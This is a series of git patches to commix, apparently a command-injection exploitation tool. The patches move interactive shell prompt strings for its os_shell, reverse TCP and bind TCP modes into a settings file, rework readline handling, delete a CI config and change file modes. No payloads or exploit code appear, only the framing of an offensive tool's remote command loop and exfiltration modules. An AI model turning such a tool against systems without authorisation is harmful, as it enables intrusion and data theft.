+ cmd = _input()
cmd = checks.escaped_cmd(cmd)
if cmd.lower() in settings.SHELL_OPTIONS:
go_back, go_back_again = shell_options.check_option(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique, go_back, no_result, timesec, go_back_again, payload, OUTPUT_TEXTFILE="")
diff --git a/src/core/injections/results_based/techniques/classic/cb_handler.py b/src/core/injections/results_based/techniques/classic/cb_handler.py
index 052674bbd2..51c0fd190c 100755
--- a/src/core/injections/results_based/techniques/classic/cb_handler.py
+++ b/src/core/injections/results_based/techniques/classic/cb_handler.py
@@ -376,7 +376,8 @@ def cb_injection_handler(url, timesec, filename, http_request_method, injection_
try:
if not settings.READLINE_ERROR:
checks.tab_autocompleter()
- cmd = _input("""commix(""" + Style.BRIGHT + Fore.RED + """os_shell""" + Style.RESET_ALL + """) > """)
+ sys.stdout.write(settings.OS_SHELL)
+ cmd = _input()
cmd = checks.escaped_cmd(cmd)
if cmd.lower() in settings.SHELL_OPTIONS:
go_back, go_back_again = shell_options.check_option(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique, go_back, no_result, timesec, go_back_again, payload, OUTPUT_TEXTFILE="")
diff --git a/src/core/injections/results_based/techniques/eval_based/eb_handler.py b/src/core/injections/results_based/techniques/eval_based/eb_handler.py
index 066daccb06..c0fbb291fe 100755
--- a/src/core/injections/results_based/techniques/eval_based/eb_handler.py
+++ b/src/core/injections/results_based/techniques/eval_based/eb_handler.py
@@ -389,7 +389,8 @@ def eb_injection_handler(url, timesec, filename, http_request_method, injection_
try:
if not settings.READLINE_ERROR:
checks.tab_autocompleter()
- cmd = _input("""commix(""" + Style.BRIGHT + Fore.RED + """os_shell""" + Style.RESET_ALL + """) > """)
+ sys.stdout.write(settings.OS_SHELL)
+ cmd = _input()
cmd = checks.escaped_cmd(cmd)
if cmd.lower() in settings.SHELL_OPTIONS:
go_back, go_back_again = shell_options.check_option(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique, go_back, no_result, timesec, go_back_again, payload, OUTPUT_TEXTFILE="")
diff --git a/src/core/injections/semiblind/techniques/file_based/fb_handler.py b/src/core/injections/semiblind/techniques/file_based/fb_handler.py
index b0fa15ad20..0883cad0a0 100755
--- a/src/core/injections/semiblind/techniques/file_based/fb_handler.py
+++ b/src/core/injections/semiblind/techniques/file_based/fb_handler.py
@@ -609,7 +609,8 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r
while True:
if not settings.READLINE_ERROR:
checks.tab_autocompleter()
- cmd = _input("""commix(""" + Style.BRIGHT + Fore.RED + """os_shell""" + Style.RESET_ALL + """) > """)
+ sys.stdout.write(settings.OS_SHELL)
+ cmd = _input()
cmd = checks.escaped_cmd(cmd)
# if settings.VERBOSITY_LEVEL != 0:
# print(settings.SINGLE_WHITESPACE)
diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py
index 6e2321a1bb..18e6efe33a 100755
--- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py
+++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py
@@ -563,7 +563,8 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method,
false_positive_warning = False
if not settings.READLINE_ERROR:
checks.tab_autocompleter()
- cmd = _input("""commix(""" + Style.BRIGHT + Fore.RED + """os_shell""" + Style.RESET_ALL + """) > """)
+ sys.stdout.write(settings.OS_SHELL)
+ cmd = _input()
cmd = checks.escaped_cmd(cmd)
if cmd.lower() in settings.SHELL_OPTIONS:
go_back, go_back_again = shell_options.check_option(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique, go_back, no_result, timesec, go_back_again, payload, OUTPUT_TEXTFILE="")
diff --git a/src/core/modules/dns_exfiltration/dns_exfiltration.py b/src/core/modules/dns_exfiltration/dns_exfiltration.py
index 9672ead123..17cd1a01d8 100755
--- a/src/core/modules/dns_exfiltration/dns_exfiltration.py
+++ b/src/core/modules/dns_exfiltration/dns_exfiltration.py
@@ -119,7 +119,8 @@ def input_cmd(dns_server, http_request_method, url, vuln_parameter, technique):
try:
if not settings.READLINE_ERROR:
checks.tab_autocompleter()
- cmd = _input("""commix(""" + Style.BRIGHT + Fore.RED + """os_shell""" + Style.RESET_ALL + """) > """)
+ sys.stdout.write(settings.OS_SHELL)
+ cmd = _input()
cmd = checks.escaped_cmd(cmd)
if cmd.lower() in settings.SHELL_OPTIONS:
if cmd.lower() == "quit" or cmd.lower() == "back":
diff --git a/src/core/modules/icmp_exfiltration/icmp_exfiltration.py b/src/core/modules/icmp_exfiltration/icmp_exfiltration.py
index 1fe99f9faf..732d1db9a8 100755
--- a/src/core/modules/icmp_exfiltration/icmp_exfiltration.py
+++ b/src/core/modules/icmp_exfiltration/icmp_exfiltration.py
@@ -153,7 +153,8 @@ def input_cmd(http_request_method, url, vuln_parameter, ip_src, technique):
try:
if not settings.READLINE_ERROR:
checks.tab_autocompleter()
- cmd = _input("""commix(""" + Style.BRIGHT + Fore.RED + """os_shell""" + Style.RESET_ALL + """) > """)
+ sys.stdout.write(settings.OS_SHELL)
+ cmd = _input()
cmd = checks.escaped_cmd(cmd)
if cmd.lower() in settings.SHELL_OPTIONS:
if cmd.lower() == "quit" or cmd.lower() == "back":
diff --git a/src/core/modules/shellshock/shellshock.py b/src/core/modules/shellshock/shellshock.py
index a112c970c1..5406a0a0cc 100755
--- a/src/core/modules/shellshock/shellshock.py
+++ b/src/core/modules/shellshock/shellshock.py
@@ -776,7 +776,8 @@ def shellshock_handler(url, http_request_method, filename):
try:
if not settings.READLINE_ERROR:
checks.tab_autocompleter()
- cmd = _input("""commix(""" + Style.BRIGHT + Fore.RED + """os_shell""" + Style.RESET_ALL + """) > """)
+ sys.stdout.write(settings.OS_SHELL)
+ cmd = _input()
cmd = checks.escaped_cmd(cmd)
if cmd.lower() in settings.SHELL_OPTIONS:
diff --git a/src/core/shells/bind_tcp.py b/src/core/shells/bind_tcp.py
index 53141793f3..30b635ecc7 100755
--- a/src/core/shells/bind_tcp.py
+++ b/src/core/shells/bind_tcp.py
@@ -520,10 +520,10 @@ def bind_tcp_options(separator):
Set up the bind TCP connection
"""
def configure_bind_tcp(separator):
-
# Set up rhost for the bind TCP connection
while True:
- option = _input("""commix(""" + Style.BRIGHT + Fore.RED + """bind_tcp""" + Style.RESET_ALL + """) > """)
+ sys.stdout.write(settings.BIND_TCP_SHELL)
+ option = _input()
if option.lower() == "bind_tcp":
warn_msg = "You are already into the '" + option.lower() + "' mode."
print(settings.print_warning_msg(warn_msg))
diff --git a/src/core/shells/reverse_tcp.py b/src/core/shells/reverse_tcp.py
index 8944e3569f..1384ce8579 100755
--- a/src/core/shells/reverse_tcp.py
+++ b/src/core/shells/reverse_tcp.py
@@ -735,7 +735,8 @@ def reverse_tcp_options(separator):
def configure_reverse_tcp(separator):
# Set up LHOST for the reverse TCP connection
while True:
- option = _input("""commix(""" + Style.BRIGHT + Fore.RED + """reverse_tcp""" + Style.RESET_ALL + """) > """)
+ sys.stdout.write(settings.REVERSE_TCP_SHELL)
+ option = _input()
if option.lower() == "reverse_tcp":
warn_msg = "You are already into the '" + option.lower() + "' mode."
print(settings.print_warning_msg(warn_msg))
diff --git a/src/utils/settings.py b/src/utils/settings.py
index a836f1bedd..121368ea36 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -62,6 +62,9 @@ class HTTPMETHOD(object):
DEBUG_SIGN = "[" + Back.BLUE + Fore.WHITE + "debug" + Style.RESET_ALL + "] "
DEBUG_BOLD_SIGN = "[" + Back.BLUE + Style.BRIGHT + Fore.WHITE + "debug" + Style.RESET_ALL + "] " + Style.BRIGHT
CHECK_SIGN = DEBUG_SIGN + "Checking pair of credentials: "
+OS_SHELL = """commix(""" + Style.BRIGHT + Fore.RED + """os_shell""" + Style.RESET_ALL + """) > """
+REVERSE_TCP_SHELL = """commix(""" + Style.BRIGHT + Fore.RED + """reverse_tcp""" + Style.RESET_ALL + """) > """
+BIND_TCP_SHELL = """commix(""" + Style.BRIGHT + Fore.RED + """bind_tcp""" + Style.RESET_ALL + """) > """
# Print error message
def print_error_msg(err_msg):
@@ -222,7 +225,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.4"
-REVISION = "44"
+REVISION = "45"
STABLE_RELEASE = False
if STABLE_RELEASE:
VERSION = "v" + VERSION_NUM + "-stable"
From 9d233d283d3916a7efbba914316318e986bb2b96 Mon Sep 17 00:00:00 2001
From: Anastasios Stasinopoulos
Date: Sat, 15 Jan 2022 16:55:09 +0200
Subject: [PATCH 047/560] Delete .travis.yml
---
.travis.yml | 15 ---------------
1 file changed, 15 deletions(-)
delete mode 100755 .travis.yml
diff --git a/.travis.yml b/.travis.yml
deleted file mode 100755
index 4ae5c8bd1f..0000000000
--- a/.travis.yml
+++ /dev/null
@@ -1,15 +0,0 @@
-language: python
-jobs:
- include:
- - python: 2.6
- dist: trusty
- - python: 2.7
- dist: trusty
- - python: 3.3
- dist: trusty
- - python: 3.6
- dist: trusty
- - python: nightly
- dist: bionic
-script:
- - python -c "import commix"
From bc44723603975ec9c80350bb87deb7c22efcf495 Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Sun, 16 Jan 2022 11:51:24 +0200
Subject: [PATCH 048/560] Minor update
---
src/core/injections/controller/checks.py | 37 ++++++++++--------------
src/utils/settings.py | 2 +-
2 files changed, 16 insertions(+), 23 deletions(-)
diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py
index 656097938c..1cbafc53e2 100755
--- a/src/core/injections/controller/checks.py
+++ b/src/core/injections/controller/checks.py
@@ -36,24 +36,18 @@
from src.thirdparty.colorama import Fore, Back, Style, init
from src.thirdparty.flatten_json.flatten_json import flatten, unflatten_list
-if settings.IS_WINDOWS:
- try:
- import readline
- except ImportError:
- try:
- import pyreadline as readline
- except ImportError:
- settings.READLINE_ERROR = True
-else:
- try:
- import readline
+try:
+ from readline import *
+ import readline as readline
+ if settings.PLATFORM == "mac":
if getattr(readline, '__doc__', '') is not None and 'libedit' in getattr(readline, '__doc__', ''):
import gnureadline as readline
- except ImportError:
- try:
- import readline
- except ImportError:
- settings.READLINE_ERROR = True
+except:
+ try:
+ from pyreadline import *
+ import pyreadline as readline
+ except:
+ settings.READLINE_ERROR = True
"""
check for not declared cookie(s)
@@ -90,14 +84,13 @@ def not_declared_cookies(response):
"""
def tab_autocompleter():
try:
- # Tab compliter
- readline.set_completer(menu.tab_completer)
# MacOSX tab compliter
- if getattr(readline, '__doc__', '') is not None and 'libedit' in getattr(readline, '__doc__', ''):
+ if 'libedit' in readline.__doc__:
readline.parse_and_bind("bind ^I rl_complete")
- # Unix tab compliter
else:
readline.parse_and_bind("tab: complete")
+ # Tab compliter
+ readline.set_completer(menu.tab_completer)
except AttributeError:
error_msg = "Failed while trying to use platform's readline library."
print(settings.print_error_msg(error_msg))
@@ -528,7 +521,7 @@ def no_readline_module():
err_msg += " Download the"
if settings.IS_WINDOWS:
err_msg += " 'pyreadline' module (https://pypi.python.org/pypi/pyreadline)."
- else:
+ elif settings.PLATFORM == "mac":
err_msg += " 'gnureadline' module (https://pypi.python.org/pypi/gnureadline)."
print(settings.print_critical_msg(err_msg))
@@ -747,7 +740,7 @@ def third_party_dependencies():
err_msg += "completion and history support features. "
print(settings.print_critical_msg(err_msg))
raise SystemExit()
- else:
+ elif settings.PLATFORM == "mac":
try:
import gnureadline
except ImportError:
diff --git a/src/utils/settings.py b/src/utils/settings.py
index 121368ea36..73691b84fc 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -225,7 +225,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.4"
-REVISION = "45"
+REVISION = "46"
STABLE_RELEASE = False
if STABLE_RELEASE:
VERSION = "v" + VERSION_NUM + "-stable"
From 11976cfeb714056890c76555dc8ea73e2d96c36c Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Sun, 16 Jan 2022 18:31:08 +0200
Subject: [PATCH 049/560] Refresh
---
COMMITMENT.txt | 0
LICENSE.txt | 0
README.md | 0
doc/AUTHOR | 0
doc/translations/README-gr-GR.md | 0
setup.py | 0
src/__init__.py | 0
src/core/__init__.py | 0
src/core/compat.py | 0
src/core/convert.py | 0
src/core/injections/__init__.py | 0
src/core/injections/blind/__init__.py | 0
src/core/injections/blind/techniques/__init__.py | 0
src/core/injections/blind/techniques/time_based/__init__.py | 0
src/core/injections/controller/__init__.py | 0
src/core/injections/controller/controller.py | 0
src/core/injections/results_based/__init__.py | 0
src/core/injections/results_based/techniques/__init__.py | 0
src/core/injections/results_based/techniques/classic/__init__.py | 0
.../injections/results_based/techniques/eval_based/__init__.py | 0
src/core/injections/semiblind/__init__.py | 0
src/core/injections/semiblind/techniques/__init__.py | 0
src/core/injections/semiblind/techniques/file_based/__init__.py | 0
.../injections/semiblind/techniques/tempfile_based/__init__.py | 0
src/core/main.py | 0
src/core/modules/__init__.py | 0
src/core/modules/dns_exfiltration/__init__.py | 0
src/core/modules/icmp_exfiltration/__init__.py | 0
src/core/modules/modules_handler.py | 0
src/core/modules/shellshock/__init__.py | 0
src/core/requests/__init__.py | 0
src/core/requests/authentication.py | 0
src/core/requests/proxy.py | 0
src/core/requests/tor.py | 0
src/core/shells/__init__.py | 0
src/core/tamper/__init__.py | 0
src/core/tamper/backslashes.py | 0
src/core/tamper/backticks.py | 0
src/core/tamper/base64encode.py | 0
src/core/tamper/caret.py | 0
src/core/tamper/dollaratsigns.py | 0
src/core/tamper/doublequotes.py | 0
src/core/tamper/hexencode.py | 0
src/core/tamper/multiplespaces.py | 0
src/core/tamper/nested.py | 0
src/core/tamper/singlequotes.py | 0
src/core/tamper/slash2env.py | 0
src/core/tamper/sleep2timeout.py | 0
src/core/tamper/sleep2usleep.py | 0
src/core/tamper/space2htab.py | 0
src/core/tamper/space2ifs.py | 0
src/core/tamper/space2plus.py | 0
src/core/tamper/space2vtab.py | 0
src/core/tamper/uninitializedvariable.py | 0
src/core/tamper/xforwardedfor.py | 0
src/core/testing.py | 0
src/thirdparty/__init__.py | 0
src/thirdparty/beautifulsoup/__init__.py | 0
src/thirdparty/beautifulsoup/beautifulsoup.py | 0
src/thirdparty/colorama/__init__.py | 0
src/thirdparty/colorama/ansi.py | 0
src/thirdparty/colorama/ansitowin32.py | 0
src/thirdparty/colorama/initialise.py | 0
src/thirdparty/colorama/win32.py | 0
src/thirdparty/colorama/winterm.py | 0
src/thirdparty/flatten_json/__init__.py | 0
src/thirdparty/flatten_json/flatten_json.py | 0
src/thirdparty/odict/__init__.py | 0
src/thirdparty/six/__init__.py | 0
src/txt/passwords_john.txt | 0
src/txt/shocker-cgi_list.txt | 0
src/txt/usernames.txt | 0
src/utils/__init__.py | 0
src/utils/colors.py | 0
src/utils/common.py | 0
src/utils/crawler.py | 0
src/utils/install.py | 0
src/utils/purge.py | 0
src/utils/requirments.py | 0
src/utils/sgmllib.py | 0
src/utils/simple_http_server.py | 0
src/utils/version.py | 0
82 files changed, 0 insertions(+), 0 deletions(-)
mode change 100644 => 100755 COMMITMENT.txt
mode change 100644 => 100755 LICENSE.txt
mode change 100644 => 100755 README.md
mode change 100644 => 100755 doc/AUTHOR
mode change 100644 => 100755 doc/translations/README-gr-GR.md
mode change 100644 => 100755 setup.py
mode change 100644 => 100755 src/__init__.py
mode change 100644 => 100755 src/core/__init__.py
mode change 100644 => 100755 src/core/compat.py
mode change 100644 => 100755 src/core/convert.py
mode change 100644 => 100755 src/core/injections/__init__.py
mode change 100644 => 100755 src/core/injections/blind/__init__.py
mode change 100644 => 100755 src/core/injections/blind/techniques/__init__.py
mode change 100644 => 100755 src/core/injections/blind/techniques/time_based/__init__.py
mode change 100644 => 100755 src/core/injections/controller/__init__.py
mode change 100644 => 100755 src/core/injections/controller/controller.py
mode change 100644 => 100755 src/core/injections/results_based/__init__.py
mode change 100644 => 100755 src/core/injections/results_based/techniques/__init__.py
mode change 100644 => 100755 src/core/injections/results_based/techniques/classic/__init__.py
mode change 100644 => 100755 src/core/injections/results_based/techniques/eval_based/__init__.py
mode change 100644 => 100755 src/core/injections/semiblind/__init__.py
mode change 100644 => 100755 src/core/injections/semiblind/techniques/__init__.py
mode change 100644 => 100755 src/core/injections/semiblind/techniques/file_based/__init__.py
mode change 100644 => 100755 src/core/injections/semiblind/techniques/tempfile_based/__init__.py
mode change 100644 => 100755 src/core/main.py
mode change 100644 => 100755 src/core/modules/__init__.py
mode change 100644 => 100755 src/core/modules/dns_exfiltration/__init__.py
mode change 100644 => 100755 src/core/modules/icmp_exfiltration/__init__.py
mode change 100644 => 100755 src/core/modules/modules_handler.py
mode change 100644 => 100755 src/core/modules/shellshock/__init__.py
mode change 100644 => 100755 src/core/requests/__init__.py
mode change 100644 => 100755 src/core/requests/authentication.py
mode change 100644 => 100755 src/core/requests/proxy.py
mode change 100644 => 100755 src/core/requests/tor.py
mode change 100644 => 100755 src/core/shells/__init__.py
mode change 100644 => 100755 src/core/tamper/__init__.py
mode change 100644 => 100755 src/core/tamper/backslashes.py
mode change 100644 => 100755 src/core/tamper/backticks.py
mode change 100644 => 100755 src/core/tamper/base64encode.py
mode change 100644 => 100755 src/core/tamper/caret.py
mode change 100644 => 100755 src/core/tamper/dollaratsigns.py
mode change 100644 => 100755 src/core/tamper/doublequotes.py
mode change 100644 => 100755 src/core/tamper/hexencode.py
mode change 100644 => 100755 src/core/tamper/multiplespaces.py
mode change 100644 => 100755 src/core/tamper/nested.py
mode change 100644 => 100755 src/core/tamper/singlequotes.py
mode change 100644 => 100755 src/core/tamper/slash2env.py
mode change 100644 => 100755 src/core/tamper/sleep2timeout.py
mode change 100644 => 100755 src/core/tamper/sleep2usleep.py
mode change 100644 => 100755 src/core/tamper/space2htab.py
mode change 100644 => 100755 src/core/tamper/space2ifs.py
mode change 100644 => 100755 src/core/tamper/space2plus.py
mode change 100644 => 100755 src/core/tamper/space2vtab.py
mode change 100644 => 100755 src/core/tamper/uninitializedvariable.py
mode change 100644 => 100755 src/core/tamper/xforwardedfor.py
mode change 100644 => 100755 src/core/testing.py
mode change 100644 => 100755 src/thirdparty/__init__.py
mode change 100644 => 100755 src/thirdparty/beautifulsoup/__init__.py
mode change 100644 => 100755 src/thirdparty/beautifulsoup/beautifulsoup.py
mode change 100644 => 100755 src/thirdparty/colorama/__init__.py
mode change 100644 => 100755 src/thirdparty/colorama/ansi.py
mode change 100644 => 100755 src/thirdparty/colorama/ansitowin32.py
mode change 100644 => 100755 src/thirdparty/colorama/initialise.py
mode change 100644 => 100755 src/thirdparty/colorama/win32.py
mode change 100644 => 100755 src/thirdparty/colorama/winterm.py
mode change 100644 => 100755 src/thirdparty/flatten_json/__init__.py
mode change 100644 => 100755 src/thirdparty/flatten_json/flatten_json.py
mode change 100644 => 100755 src/thirdparty/odict/__init__.py
mode change 100644 => 100755 src/thirdparty/six/__init__.py
mode change 100644 => 100755 src/txt/passwords_john.txt
mode change 100644 => 100755 src/txt/shocker-cgi_list.txt
mode change 100644 => 100755 src/txt/usernames.txt
mode change 100644 => 100755 src/utils/__init__.py
mode change 100644 => 100755 src/utils/colors.py
mode change 100644 => 100755 src/utils/common.py
mode change 100644 => 100755 src/utils/crawler.py
mode change 100644 => 100755 src/utils/install.py
mode change 100644 => 100755 src/utils/purge.py
mode change 100644 => 100755 src/utils/requirments.py
mode change 100644 => 100755 src/utils/sgmllib.py
mode change 100644 => 100755 src/utils/simple_http_server.py
mode change 100644 => 100755 src/utils/version.py
diff --git a/COMMITMENT.txt b/COMMITMENT.txt
old mode 100644
new mode 100755
diff --git a/LICENSE.txt b/LICENSE.txt
old mode 100644
new mode 100755
diff --git a/README.md b/README.md
old mode 100644
new mode 100755
diff --git a/doc/AUTHOR b/doc/AUTHOR
old mode 100644
new mode 100755
diff --git a/doc/translations/README-gr-GR.md b/doc/translations/README-gr-GR.md
old mode 100644
new mode 100755
diff --git a/setup.py b/setup.py
old mode 100644
new mode 100755
diff --git a/src/__init__.py b/src/__init__.py
old mode 100644
new mode 100755
diff --git a/src/core/__init__.py b/src/core/__init__.py
old mode 100644
new mode 100755
diff --git a/src/core/compat.py b/src/core/compat.py
old mode 100644
new mode 100755
diff --git a/src/core/convert.py b/src/core/convert.py
old mode 100644
new mode 100755
diff --git a/src/core/injections/__init__.py b/src/core/injections/__init__.py
old mode 100644
new mode 100755
diff --git a/src/core/injections/blind/__init__.py b/src/core/injections/blind/__init__.py
old mode 100644
new mode 100755
diff --git a/src/core/injections/blind/techniques/__init__.py b/src/core/injections/blind/techniques/__init__.py
old mode 100644
new mode 100755
diff --git a/src/core/injections/blind/techniques/time_based/__init__.py b/src/core/injections/blind/techniques/time_based/__init__.py
old mode 100644
new mode 100755
diff --git a/src/core/injections/controller/__init__.py b/src/core/injections/controller/__init__.py
old mode 100644
new mode 100755
diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py
old mode 100644
new mode 100755
diff --git a/src/core/injections/results_based/__init__.py b/src/core/injections/results_based/__init__.py
old mode 100644
new mode 100755
diff --git a/src/core/injections/results_based/techniques/__init__.py b/src/core/injections/results_based/techniques/__init__.py
old mode 100644
new mode 100755
diff --git a/src/core/injections/results_based/techniques/classic/__init__.py b/src/core/injections/results_based/techniques/classic/__init__.py
old mode 100644
new mode 100755
diff --git a/src/core/injections/results_based/techniques/eval_based/__init__.py b/src/core/injections/results_based/techniques/eval_based/__init__.py
old mode 100644
new mode 100755
diff --git a/src/core/injections/semiblind/__init__.py b/src/core/injections/semiblind/__init__.py
old mode 100644
new mode 100755
diff --git a/src/core/injections/semiblind/techniques/__init__.py b/src/core/injections/semiblind/techniques/__init__.py
old mode 100644
new mode 100755
diff --git a/src/core/injections/semiblind/techniques/file_based/__init__.py b/src/core/injections/semiblind/techniques/file_based/__init__.py
old mode 100644
new mode 100755
diff --git a/src/core/injections/semiblind/techniques/tempfile_based/__init__.py b/src/core/injections/semiblind/techniques/tempfile_based/__init__.py
old mode 100644
new mode 100755
diff --git a/src/core/main.py b/src/core/main.py
old mode 100644
new mode 100755
diff --git a/src/core/modules/__init__.py b/src/core/modules/__init__.py
old mode 100644
new mode 100755
diff --git a/src/core/modules/dns_exfiltration/__init__.py b/src/core/modules/dns_exfiltration/__init__.py
old mode 100644
new mode 100755
diff --git a/src/core/modules/icmp_exfiltration/__init__.py b/src/core/modules/icmp_exfiltration/__init__.py
old mode 100644
new mode 100755
diff --git a/src/core/modules/modules_handler.py b/src/core/modules/modules_handler.py
old mode 100644
new mode 100755
diff --git a/src/core/modules/shellshock/__init__.py b/src/core/modules/shellshock/__init__.py
old mode 100644
new mode 100755
diff --git a/src/core/requests/__init__.py b/src/core/requests/__init__.py
old mode 100644
new mode 100755
diff --git a/src/core/requests/authentication.py b/src/core/requests/authentication.py
old mode 100644
new mode 100755
diff --git a/src/core/requests/proxy.py b/src/core/requests/proxy.py
old mode 100644
new mode 100755
diff --git a/src/core/requests/tor.py b/src/core/requests/tor.py
old mode 100644
new mode 100755
diff --git a/src/core/shells/__init__.py b/src/core/shells/__init__.py
old mode 100644
new mode 100755
diff --git a/src/core/tamper/__init__.py b/src/core/tamper/__init__.py
old mode 100644
new mode 100755
diff --git a/src/core/tamper/backslashes.py b/src/core/tamper/backslashes.py
old mode 100644
new mode 100755
diff --git a/src/core/tamper/backticks.py b/src/core/tamper/backticks.py
old mode 100644
new mode 100755
diff --git a/src/core/tamper/base64encode.py b/src/core/tamper/base64encode.py
old mode 100644
new mode 100755
diff --git a/src/core/tamper/caret.py b/src/core/tamper/caret.py
old mode 100644
new mode 100755
diff --git a/src/core/tamper/dollaratsigns.py b/src/core/tamper/dollaratsigns.py
old mode 100644
new mode 100755
diff --git a/src/core/tamper/doublequotes.py b/src/core/tamper/doublequotes.py
old mode 100644
new mode 100755
diff --git a/src/core/tamper/hexencode.py b/src/core/tamper/hexencode.py
old mode 100644
new mode 100755
diff --git a/src/core/tamper/multiplespaces.py b/src/core/tamper/multiplespaces.py
old mode 100644
new mode 100755
diff --git a/src/core/tamper/nested.py b/src/core/tamper/nested.py
old mode 100644
new mode 100755
diff --git a/src/core/tamper/singlequotes.py b/src/core/tamper/singlequotes.py
old mode 100644
new mode 100755
diff --git a/src/core/tamper/slash2env.py b/src/core/tamper/slash2env.py
old mode 100644
new mode 100755
diff --git a/src/core/tamper/sleep2timeout.py b/src/core/tamper/sleep2timeout.py
old mode 100644
new mode 100755
diff --git a/src/core/tamper/sleep2usleep.py b/src/core/tamper/sleep2usleep.py
old mode 100644
new mode 100755
diff --git a/src/core/tamper/space2htab.py b/src/core/tamper/space2htab.py
old mode 100644
new mode 100755
diff --git a/src/core/tamper/space2ifs.py b/src/core/tamper/space2ifs.py
old mode 100644
new mode 100755
diff --git a/src/core/tamper/space2plus.py b/src/core/tamper/space2plus.py
old mode 100644
new mode 100755
diff --git a/src/core/tamper/space2vtab.py b/src/core/tamper/space2vtab.py
old mode 100644
new mode 100755
diff --git a/src/core/tamper/uninitializedvariable.py b/src/core/tamper/uninitializedvariable.py
old mode 100644
new mode 100755
diff --git a/src/core/tamper/xforwardedfor.py b/src/core/tamper/xforwardedfor.py
old mode 100644
new mode 100755
diff --git a/src/core/testing.py b/src/core/testing.py
old mode 100644
new mode 100755
diff --git a/src/thirdparty/__init__.py b/src/thirdparty/__init__.py
old mode 100644
new mode 100755
diff --git a/src/thirdparty/beautifulsoup/__init__.py b/src/thirdparty/beautifulsoup/__init__.py
old mode 100644
new mode 100755
diff --git a/src/thirdparty/beautifulsoup/beautifulsoup.py b/src/thirdparty/beautifulsoup/beautifulsoup.py
old mode 100644
new mode 100755
diff --git a/src/thirdparty/colorama/__init__.py b/src/thirdparty/colorama/__init__.py
old mode 100644
new mode 100755
diff --git a/src/thirdparty/colorama/ansi.py b/src/thirdparty/colorama/ansi.py
old mode 100644
new mode 100755
diff --git a/src/thirdparty/colorama/ansitowin32.py b/src/thirdparty/colorama/ansitowin32.py
old mode 100644
new mode 100755
diff --git a/src/thirdparty/colorama/initialise.py b/src/thirdparty/colorama/initialise.py
old mode 100644
new mode 100755
diff --git a/src/thirdparty/colorama/win32.py b/src/thirdparty/colorama/win32.py
old mode 100644
new mode 100755
diff --git a/src/thirdparty/colorama/winterm.py b/src/thirdparty/colorama/winterm.py
old mode 100644
new mode 100755
diff --git a/src/thirdparty/flatten_json/__init__.py b/src/thirdparty/flatten_json/__init__.py
old mode 100644
new mode 100755
diff --git a/src/thirdparty/flatten_json/flatten_json.py b/src/thirdparty/flatten_json/flatten_json.py
old mode 100644
new mode 100755
diff --git a/src/thirdparty/odict/__init__.py b/src/thirdparty/odict/__init__.py
old mode 100644
new mode 100755
diff --git a/src/thirdparty/six/__init__.py b/src/thirdparty/six/__init__.py
old mode 100644
new mode 100755
diff --git a/src/txt/passwords_john.txt b/src/txt/passwords_john.txt
old mode 100644
new mode 100755
diff --git a/src/txt/shocker-cgi_list.txt b/src/txt/shocker-cgi_list.txt
old mode 100644
new mode 100755
diff --git a/src/txt/usernames.txt b/src/txt/usernames.txt
old mode 100644
new mode 100755
diff --git a/src/utils/__init__.py b/src/utils/__init__.py
old mode 100644
new mode 100755
diff --git a/src/utils/colors.py b/src/utils/colors.py
old mode 100644
new mode 100755
diff --git a/src/utils/common.py b/src/utils/common.py
old mode 100644
new mode 100755
diff --git a/src/utils/crawler.py b/src/utils/crawler.py
old mode 100644
new mode 100755
diff --git a/src/utils/install.py b/src/utils/install.py
old mode 100644
new mode 100755
diff --git a/src/utils/purge.py b/src/utils/purge.py
old mode 100644
new mode 100755
diff --git a/src/utils/requirments.py b/src/utils/requirments.py
old mode 100644
new mode 100755
diff --git a/src/utils/sgmllib.py b/src/utils/sgmllib.py
old mode 100644
new mode 100755
diff --git a/src/utils/simple_http_server.py b/src/utils/simple_http_server.py
old mode 100644
new mode 100755
diff --git a/src/utils/version.py b/src/utils/version.py
old mode 100644
new mode 100755
From 8e499e9fe62e57f2d509c8c52b95f6cca32eafe4 Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Sun, 16 Jan 2022 18:38:12 +0200
Subject: [PATCH 050/560] Revert "Refresh"
This reverts commit 11976cfeb714056890c76555dc8ea73e2d96c36c.
---
COMMITMENT.txt | 0
LICENSE.txt | 0
README.md | 0
doc/AUTHOR | 0
doc/translations/README-gr-GR.md | 0
setup.py | 0
src/__init__.py | 0
src/core/__init__.py | 0
src/core/compat.py | 0
src/core/convert.py | 0
src/core/injections/__init__.py | 0
src/core/injections/blind/__init__.py | 0
src/core/injections/blind/techniques/__init__.py | 0
src/core/injections/blind/techniques/time_based/__init__.py | 0
src/core/injections/controller/__init__.py | 0
src/core/injections/controller/controller.py | 0
src/core/injections/results_based/__init__.py | 0
src/core/injections/results_based/techniques/__init__.py | 0
src/core/injections/results_based/techniques/classic/__init__.py | 0
.../injections/results_based/techniques/eval_based/__init__.py | 0
src/core/injections/semiblind/__init__.py | 0
src/core/injections/semiblind/techniques/__init__.py | 0
src/core/injections/semiblind/techniques/file_based/__init__.py | 0
.../injections/semiblind/techniques/tempfile_based/__init__.py | 0
src/core/main.py | 0
src/core/modules/__init__.py | 0
src/core/modules/dns_exfiltration/__init__.py | 0
src/core/modules/icmp_exfiltration/__init__.py | 0
src/core/modules/modules_handler.py | 0
src/core/modules/shellshock/__init__.py | 0
